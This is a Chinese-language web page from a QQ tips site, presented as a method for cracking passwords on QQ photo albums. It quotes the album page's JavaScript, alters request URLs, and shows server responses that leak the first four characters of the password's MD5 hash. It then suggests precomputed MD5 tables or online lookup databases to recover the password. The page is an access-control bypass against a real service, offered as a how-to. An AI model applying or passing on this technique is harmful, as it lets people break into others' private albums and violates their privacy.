QQ技巧 QQ表情大全 QQ头像大全 QQ签名大全 QQ资料 QQ网名大全 qq个性网名 qq繁体个性网名 QQ分类表情
QQ聊天宝典 QQ文字贴图 QQ安全 QQ字体  qq表情下载 qq搞笑表情  qq自定义头像  qq个性资料  QQ繁体资料
qq个性签名 qq繁体个性签名 星座情缘 心理测试 幽默搞笑短信  心情日记 性交姿势 爱情短信 个性测试 收藏本站 

QQ相册密码破解方法

分析QQ相册密码的验证算法

根据http://izone.qq.com/client/photo ... &album=31931732 
下载或者翻看Internet临时文件夹下的 photo_password 文件可查到下列语句: 
type="text/JavaScript" src=http://www.eiyes.com/info/way/"/js/md5.js"></script> 
document.cookie=("album"+albumId+"pwd="+hex_md5(pwd)); 
对比 md5.js文件可知,此v2.1版本的 JavaScript MD5,且输入的密码转化为32位的字符串。 

比较两个地址: 
http://photo.qq.com/cgi-bin/izon ... mp;albumid=31931732 
/*http://izone.qq.com/client/photo ... amp;album=31931732/这个地址类似可以不看*/ 
(此地址为有密码情况下的登陆地址,要求输入密码) 
http://photo.qq.com/cgi-bin/izon ... asswd=&mode=big 
(此地址为无密码情况下的登陆地址) 

由此可以推断出: 
http://photo.qq.com/cgi-bin/izon ... 1931732&passwd=(****************)&mode=big 
******为转化后的md5字符串,此地址应该为此地址为有密码情况下的直接登陆地址。 
随便输入一段字符显示如下: 
<?xml version="1.0" encoding="GBK" ?> 
<error>密码有误,请重新输入!</error> 
考虑到在前面有密码情况下的登陆窗口连接为cgi_album_pwd,浏览相册连接为cgi_album_view。 
试将登陆地址改为下列方式: 
http://photo.qq.com/cgi-bin/izon ... 1931732&passwd=(****************)&mode=big 
随便输入一段字符显示如下: 
<?xml version="1.0" encoding="GBK" ?> 
<data id="31931732" owner="23266229" passwd="81dc" /> 
经过换算可知,1234的MD5值是81dc9bdb52d04dc20036dbd8313ed055 
测试数次 
<?xml version="1.0" encoding="GBK" ?> 
<data id="31931732" owner="23266229" passwd="1bbd" /> 
密码:11111111 MD5:1bbd886460827015e5d605ed44252251 
<?xml version="1.0" encoding="GBK" ?> 
<data id="31931732" owner="23266229" passwd="eccb" /> 
密码:3 MD5:eccbc87e4b5ce2fe28308fd9f2a7baf3 
由此可以判断,此处的passwd为密码加密后的前4位。 
photo_password 文件可查到下列语句: 
var p=""; 
if (x!=null) p=x.selectSingleNode("/data").getAttribute("passwd"); 
判断此passwd应该是数据库中的某字段名。 
if (p!="" && hex_md5(pwd).indexOf(p)!=0){ 
alert("密码错误") 
document.getElementById("pass").focus(); 
return; 

document.cookie=("album"+albumId+"pwd="+hex_md5(pwd)); 
location="/client/photo_static_big.htm?uin="+uin+"&album="+albumId; 
pwd为输入的密码,经过md5加密。判断此处出现的passwd="eccb"应该是验证输入的密文密码的正确性的。如果正确,使用hex_md5(pwd)进行登陆。 

由于QQ相册密码提示为8位,那么如果有心人使用相关工具换算处8位以下的所有数字和字母组合的MD5值做成数据库,那么密码就如同虚设。但是考虑到相册密码意义不大,一般情况下不会有人过于无聊拿机器去跑这东西... 似乎最基本常见的的运算次数为几百万亿次,如果谁又兴趣搞几台服务器跑天把做个数据库倒是蛮好,就是大了点准备个TB级的硬盘矩阵吧。如果怕麻烦可以去国外的几个大型MD5数据库查询。
12下一页  GO


站长赚钱   建站指南   网上创业   网上开店 爱情故事   恋爱技巧   爱情测试   心理测试 两性健康   性爱技巧   星座爱情   情书大全

黑马QQ宝典:www.heimaqq.com